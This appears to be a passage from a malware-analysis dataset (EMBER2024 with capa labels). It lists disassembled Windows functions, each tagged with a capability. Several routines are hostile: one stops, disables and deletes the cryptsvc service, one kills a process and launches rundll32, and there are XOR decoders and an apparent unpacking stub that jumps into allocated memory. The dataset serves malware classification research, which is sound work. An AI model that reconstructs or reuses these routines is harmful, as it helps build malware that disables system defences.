joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4019a0
Capabilities:
Get disk information

Disassembly:
sub esp, 0x248
push ebx
push ebp
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 0x104
call dword [0x40e438]
mov al, byte [esp + 0x14]
lea ebx, [esp + 0x14]
test al, al
je 0x401a2f
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 3
jne 0x401a1f
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
inc ebp
add eax, 0xa
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x4019e8
test ebp, ebp
jle 0x401a5b
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
lea eax, [ebp + ebp*4]
lea esi, [esp + eax*2 + 0x10e]
push esi
call edi
cmp eax, 3
jne 0x401a55
push esi
call fcn.004017d0
add esp, 4
sub esi, 0xa
dec ebp
jne 0x401a44
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x248
ret

Function at 0x401cc0
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
push 0
push str.net_stop_cryptsvc
call esi
push 0
push str.sc_config_cryptsvc_start_disabled
call esi
push 0
push str.sc_delete_cryptsvc
call esi
pop esi
ret
Function at 0x401cf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x410
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], bl
mov byte [esp + 0x10], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x31c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x31d]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x219]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40eaf4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40d120
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x424]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push eax
lea ecx, [esp + 0x18]
push str._s_s
push ecx
call edi
lea edx, [esp + 0x124]
push esi
push edx
push str._syu_s
lea eax, [esp + 0x234]
push eax
call edi
add esp, 0x20
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401e1c
lea edx, [esp + 0x218]
push ebx
lea eax, [esp + 0x14]
push edx
push eax
call dword [0x40e408]
lea ecx, [esp + 0x10]
push ecx
call fcn.00402d10
add esp, 4
lea edx, [esp + 0x10]
push ebx
push edx
push 0x410f90
call dword [0x40e408]
lea eax, [esp + 0x114]
push esi
push eax
lea ecx, [esp + 0x324]
push str._sdllcache_s
push ecx
call edi
lea edx, [esp + 0x32c]
push edx
call fcn.00402d10
add esp, 0x14
lea eax, [esp + 0x31c]
lea ecx, [esp + 0x10]
push ebx
push eax
push ecx
call dword [0x40e408]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x410
ret
Function at 0x402120
Capabilities:
Create process on windows
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x2f0
push ebp
mov ebp, ecx
call fcn.004024e0
call fcn.00402b30
call fcn.00401a70
test eax, eax
je 0x402282
push str.Mir3.dat
call fcn.00402c00
add esp, 4
test eax, eax
je 0x40216e
push str.Mir3.dat
call fcn.00402dd0
add esp, 4
test eax, eax
jne 0x40216e
push eax
push 0x4020c0
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.00401b40
lea eax, [esp + 0x260]
mov dword [esp + 0x260], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call fcn.00401560
call fcn.00401660
call fcn.00401f10
cmp eax, 1
jne 0x4021ac
call fcn.00401e90
call fcn.004019a0
jmp 0x4021b1
call fcn.00401e90
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
push 0x40eaf4
lea ecx, [esp + 0x64]
push str._s_rundll32.exe
push ecx
mov dword [esp + 0x18], 0x44
mov dword [esp + 0x44], 1
mov word [esp + 0x48], 5
call esi
push 0x40ebf8
push 0x410f90
lea edx, [esp + 0x178]
push str.__s__ServerMain__s
push edx
call esi
add esp, 0x1c
lea eax, [esp + 0x50]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x164]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x20]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetParent]
push eax
call sub.MFC42.DLL_CWnd::FromHandle
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
add esp, 0x2f0
ret
Function at 0x402b30
Capabilities:
Get common file path

Disassembly:
push esi
push edi
push 0x104
push 0x40eaf4
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
push 0x40e9f0
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x40e8ec
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x104
push 0x40ebf8
push 0
call esi
mov eax, dword [0x40ef04]
mov edi, dword [sym.imp.MSVCRT.dll__strlwr]
test eax, eax
je 0x402b9c
push 0x104
push 0x40ee00
push eax
call esi
push 0x40ee00
call edi
add esp, 4
push 0x40ebf8
call edi
push 0x40ebf8
call fcn.00402be0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x40ecfc
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret

Function at 0x402d10
Capabilities:
Check if file exists
Delete file
Get common file path
Get file attributes
Move file

Disassembly:
sub esp, 0x208
push esi
mov esi, dword [esp + 0x210]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402db8
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
call edi
cmp eax, 0xffffffff
je 0x402db8
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0
push eax
push esi
call fcn.00402c90
add esp, 0xc
lea ecx, [esp + 8]
lea edx, [esp + 0x10c]
push ecx
push 0
push str.TEMP
push edx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea eax, [esp + 8]
push 1
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileExA]
call esi
push 4
lea ecx, [esp + 0xc]
push 0
push ecx
call esi
pop edi
pop esi
add esp, 0x208
ret

Function at 0x402dd0
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
push edi
mov edi, dword [esp + 0x14]
push edi
call fcn.00402c00
add esp, 4
mov esi, eax
push esi
push 0
push 1
call ebx
test eax, eax
je 0x402e14
push 0
push eax
call ebp
test eax, eax
je 0x402e14
test esi, esi
je 0x402e1b
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402de4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x414dde
Capabilities:
Encode data using xor

Disassembly:
xor dword [ecx], edi
add eax, esi
add ecx, 4
mov esi, eax
mov edx, 0xc332b819
cmp ecx, ebx
jne fcn.00414dde
ret
Function at 0x1001700
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ecx
and dword [esp], 0
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
mov ebx, 0x1000
mov eax, 0x10000
push ebx
mov ebp, eax
push eax
jmp 0x1001755
push 0
push ebp
push esi
push 5
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
mov dword [esp + 0x10], eax
je 0x1001774
cmp eax, 0xc0000004
jne 0x1001751
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
add ebp, 0x2000
push 4
push ebx
push ebp
push 0
call edi
mov esi, eax
test esi, esi
jne 0x1001722
push dword [esp + 0x10]
push 0x100113c
call dword [sym.imp.msvcrt.dll_printf]
pop ecx
pop ecx
xor eax, eax
jmp 0x1001776
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x1001b2d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
call fcn.01001a07
cmp eax, edi
jne 0x1001b80
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, edi
mov dword [ebp - 8], eax
jne 0x1001b85
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push dword [ebp + 8]
push 0x1001288
call dword [sym.imp.msvcrt.dll_printf]
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop esi
pop edi
leave
ret 0x14
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0x64]
push 0x1001284
push eax
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
push dword [ebp + 0xc]
call fcn.01001abe
push dword [ebp + 0x14]
mov ebx, eax
call fcn.01001abe
cmp ebx, edi
mov dword [ebp - 0x10], eax
je 0x1001c39
cmp eax, edi
je 0x1001c39
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 8]
call esi
cmp eax, edi
je 0x1001beb
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x24]
push ecx
push dword [ebp + 0x14]
mov dword [ebp - 0x20], edi
push dword [ebp + 0x10]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
jmp 0x1001bfe
push ebx
push dword [ebp - 8]
call esi
cmp eax, edi
je 0x1001c23
lea ecx, [ebp - 0xc]
push ecx
push edi
push dword [ebp - 0x10]
push edi
call eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
call esi
push ebx
call esi
push dword [ebp - 4]
call esi
mov eax, dword [ebp - 0xc]
pop ebx
jmp 0x1001b7f
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x1001244
call dword [sym.imp.msvcrt.dll_printf]
add esp, 0xc
jmp 0x1001c45
push 0x100121c
call dword [sym.imp.msvcrt.dll_printf]
pop ecx
push 1
call dword [sym.imp.msvcrt.dll_exit]
int3

Function at 0x1001fb3
Capabilities:
Initialize winsock library
Print debug messages

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 2
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x1001fdd
push eax
push 0x1001568
call sub.ntdll.dll_DbgPrint
pop ecx
pop ecx
add esp, 0x190
ret
push esi
mov esi, dword [sym.imp.msvcrt.dll_printf]
push 0x1001548
call esi
pop ecx
jmp loc.01006d98
Function at 0x100209a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and byte [ebp - 1], 0
and byte [ebp - 5], 0
and byte [ebp - 9], 0
push ebx
push esi
push edi
xor edi, edi
push edi
mov dword [ebp - 0x18], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, edi
mov dword [0x1003204], eax
je 0x10020ca
push eax
call fcn.0100265f
mov esi, dword [ebp + 8]
cmp esi, 2
jl 0x10021a9
xor ebx, ebx
and dword [ebp - 0x10], ebx
dec esi
mov dword [ebp - 0x14], edi
mov dword [ebp + 8], edi
je 0x100217d
mov eax, dword [ebp + 0xc]
push 4
pop edx
mov ecx, eax
add eax, edx
test ecx, ecx
je 0x100217d
mov ecx, dword [eax]
cmp word [ecx], 0x2d
jne 0x100217d
movzx ecx, word [ecx + 2]
cmp ecx, 0x70
jg 0x100215b
je 0x1002152
sub ecx, 0x61
je 0x1002146
sub ecx, 3
je 0x100213d
dec ecx
je 0x1002131
dec ecx
jne 0x10021a9
dec esi
je 0x10021a9
add eax, edx
mov ecx, dword [eax]
mov dword [ebp - 0x14], ecx
jmp 0x1002176
dec esi
je 0x10021a9
add eax, edx
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
jmp 0x1002176
dec esi
je 0x10021a9
add eax, edx
mov ebx, dword [eax]
jmp 0x1002176
dec esi
je 0x10021a9
add eax, edx
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
jmp 0x1002176
dec esi
je 0x10021a9
add eax, edx
mov edi, dword [eax]
jmp 0x1002176
sub ecx, 0x71
je 0x1002172
dec ecx
je 0x100216c
dec ecx
jne 0x10021a9
mov byte [ebp - 1], 1
jmp 0x1002176
mov byte [ebp - 5], 1
jmp 0x1002176
mov byte [ebp - 9], 1
dec esi
jne 0x10020ee
xor eax, eax
test edi, edi
sete al
xor ecx, ecx
test ebx, ebx
sete cl
cmp ecx, eax
je 0x1002195
cmp byte [ebp - 1], 0
je 0x10021a9
test ebx, ebx
je 0x10021b9
test edi, edi
je 0x10021b9
cmp dword [ebp + 8], 0
jne 0x10021b9
cmp byte [ebp - 1], 0
jne 0x10021bf
push 0x10015b8
call dword [sym.imp.msvcrt.dll_printf]
pop ecx
push 1
jmp 0x1002223
cmp byte [ebp - 1], 0
je 0x10021c6
call fcn.01001fb3
jmp 0x1002212
cmp byte [ebp - 5], 0
jne 0x10021db
cmp byte [ebp - 9], 0
jne 0x10021db
call fcn.01002078
test eax, eax
jne 0x1002212
test ebx, ebx
jne 0x10021e3
test edi, edi
je 0x10021e9
cmp byte [ebp - 5], 0
je 0x10021ff
push dword [ebp - 9]
push dword [ebp - 5]
push dword [ebp - 0x10]
push dword [ebp + 8]
push dword [ebp - 0x14]
call fcn.0100183a
jmp 0x100220f
push dword [ebp - 0x10]
push dword [ebp + 8]
push dword [ebp - 0x14]
push edi
push ebx
call fcn.01001b2d
mov dword [ebp - 0x18], eax
cmp dword [0x1003204], 0
je 0x1002220
call fcn.0100268f
push dword [ebp - 0x18]
call dword [sym.imp.msvcrt.dll_exit]
int3

Function at 0x1004827
Capabilities:
Encode data using xor

Disassembly:
enter 0, 0
pushal
mov ebx, 0x7fffffff
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov edi, esi
imul eax, edx, 0x10dcd
add eax, 0x116c5
xor edx, edx
div ebx
lodsd eax, dword [esi]
xor eax, edx
stosd dword es:[edi], eax
loop 0x100483c
popal
leave
ret 0xc
Function at 0x4239f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x423a05
pop dword [ebp - 0x24]
mov eax, 0x1e1369c4
add eax, 0xe22ed041
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x38f6d
push 0
mov eax, 0x62baa5f6
add eax, 0x9d88da3a
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xc0785077
add ecx, 0x3f87f0b4
xor edi, edi
add edi, eax
mov ebx, 0x44c600
add ebx, dword [ebp - 0x24]
mov esi, 0x9a39955d
sub esi, 0x4bb73b08
add dword [ebp - 4], esi
mov edx, dword [ebx]
xor dword [ebp - 0x10], 0x91f7eae6
sub edx, esi
sub dword [ebp - 0x18], 0x77f47b2a
mov dword [edi], edx
xor dword [ebp - 0x10], esi
add edi, 0x5ec2123a
add edi, 0xa13dedca
add ebx, 0xf2fe390b
add ebx, 0xd01c6f9
loop 0x423a60
add eax, 0xf77f
mov ebx, eax
add eax, 0x1a73743a
sub eax, 0x1a737435
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x4281f2
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
mov eax, 0x436de3
call fcn.004339e0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x43a908
mov dword [esi + 4], 0x43a8f4
mov dword [esi + 8], 0x438e70
mov dword [esi + 0xc], 0x43a8d8
mov dword [esi + 0x10], 0x43a8c4
mov dword [esi + 0x14], 0x43a8b4
mov dword [esi + 0x18], 0x438e60
mov dword [esi + 0x1c], 0x438e50
mov dword [esi + 0x20], 0x43a8ac
mov dword [esi + 0x24], ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
or dword [esi + 0x38], 0xffffffff
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x50], ebx
mov dword [esi + 0x54], ebx
mov dword [esi + 0x58], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], ebx
lea ecx, [esi + 0x64]
mov byte [ebp - 4], 4
call fcn.004028e9
lea ecx, [esi + 0x70]
mov byte [ebp - 4], 5
call fcn.004028e9
mov dword [esi + 0x7c], ebx
mov dword [esi + 0x80], ebx
mov dword [esi + 0x84], ebx
mov dword [esi + 0x88], ebx
mov dword [esi + 0x8c], ebx
or dword [esi + 0x9c], 0xffffffff
mov byte [ebp - 4], 7
mov dword [esi + 0x90], ebx
mov dword [esi + 0x94], ebx
mov dword [esi + 0x98], ebx
mov dword [esi + 0xa0], ebx
mov byte [esi + 0xa4], bl
mov byte [esi + 0xa5], bl
mov byte [esi + 0xa6], bl
mov byte [esi + 0xa7], bl
mov byte [esi + 0xa8], bl
mov byte [esi + 0xa9], bl
mov byte [esi + 0xaa], bl
mov dword [esi + 0xac], ebx
mov dword [esi], 0x43a880
mov dword [esi + 4], 0x43a86c
mov dword [esi + 8], 0x43a854
mov dword [esi + 0xc], 0x43a838
mov dword [esi + 0x10], 0x43a824
mov dword [esi + 0x14], 0x43a814
mov dword [esi + 0x18], 0x43a804
mov dword [esi + 0x1c], 0x43a7f4
mov dword [esi + 0x20], 0x43a7ec
call fcn.0040d4f9
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x28], al
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4052af
Capabilities:
Set file attributes

Disassembly:
test edx, 0xf0000000
je 0x4052bd
and edx, 0x3fff
jmp fcn.00405221

Function at 0x4052c2
Capabilities:
Delete directory

Disassembly:
mov eax, 0x43c014
call fcn.0043b650
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407f9a
mov esi, dword [sym.imp.kernel32.dll_RemoveDirectoryW]
mov ebx, eax
cmp ebx, 1
je 0x4052f1
push edi
call esi
test eax, eax
je 0x4052f1
mov al, 1
jmp 0x405335
test ebx, ebx
je 0x405333
lea ecx, [ebp - 0x18]
call fcn.00402b75
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.004080a3
test al, al
push dword [ebp - 0x18]
je 0x40532d
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401c54
test esi, esi
pop ecx
setne al
jmp 0x405335
call fcn.00401c54
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x405344
Capabilities:
Move file

Disassembly:
mov eax, 0x43c030
call fcn.0043b650
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x18], ecx
call fcn.00407f9a
mov ecx, dword [ebp - 0x10]
mov esi, eax
call fcn.00407f9a
mov edi, dword [sym.imp.kernel32.dll_MoveFileW]
mov dword [ebp - 0x14], eax
push 1
pop ebx
cmp esi, ebx
je 0x40538d
cmp eax, ebx
je 0x40538d
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call edi
test eax, eax
je 0x40538d
mov al, bl
jmp 0x405404
test esi, esi
jne 0x405396
cmp dword [ebp - 0x14], esi
je 0x405402
lea ecx, [ebp - 0x30]
call fcn.00402b75
and dword [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.00402b75
cmp esi, ebx
mov byte [ebp - 4], bl
je 0x4053b6
cmp dword [ebp - 0x14], ebx
jne 0x4053b8
xor ebx, ebx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x24]
push ebx
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.004382a6
test al, al
push dword [ebp - 0x24]
je 0x4053f3
push dword [ebp - 0x30]
call edi
mov esi, eax
push dword [ebp - 0x24]
call fcn.00401c54
push dword [ebp - 0x30]
call fcn.00401c54
pop ecx
test esi, esi
pop ecx
setne al
jmp 0x405404
call fcn.00401c54
push dword [ebp - 0x30]
call fcn.00401c54
pop ecx
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40550f
Capabilities:
Create directory

Disassembly:
mov eax, 0x43c060
call fcn.0043b650
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407f9a
mov esi, dword [sym.imp.kernel32.dll_CreateDirectoryW]
mov ebx, eax
cmp ebx, 1
je 0x40554d
push 0
push edi
call esi
test eax, eax
je 0x405540
mov al, 1
jmp 0x405596
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x405594
test ebx, ebx
je 0x405594
lea ecx, [ebp - 0x18]
call fcn.00402b75
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.004080a3
test al, al
je 0x40558b
push 0
push dword [ebp - 0x18]
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401c54
test esi, esi
pop ecx
setne al
jmp 0x405596
push dword [ebp - 0x18]
call fcn.00401c54
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4061e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x43c170
call fcn.0043b650
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407f9a
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x40620c
push edi
call esi
cmp eax, 0xffffffff
jne 0x40624e
test ebx, ebx
je 0x40624b
lea ecx, [ebp - 0x18]
call fcn.00402b75
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.004080a3
test al, al
push dword [ebp - 0x18]
je 0x406245
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401c54
pop ecx
mov eax, esi
jmp 0x40624e
call fcn.00401c54
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406a2b
Capabilities:
Get disk information

Disassembly:
mov eax, 0x43c23c
call fcn.0043b650
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.00401553
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x406af9
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406a67
mov eax, ebx
add eax, eax
push eax
call fcn.004382a6
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x406af2
cmp ebx, dword [ebp - 0x14]
ja 0x406af2
lea ecx, [ebp - 0x2c]
call fcn.00402b75
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x406ada
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x406acf
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.004382a6
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406aa5
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401c54
push esi
call fcn.00401c54
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x406afb
push esi
call fcn.00401c54
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret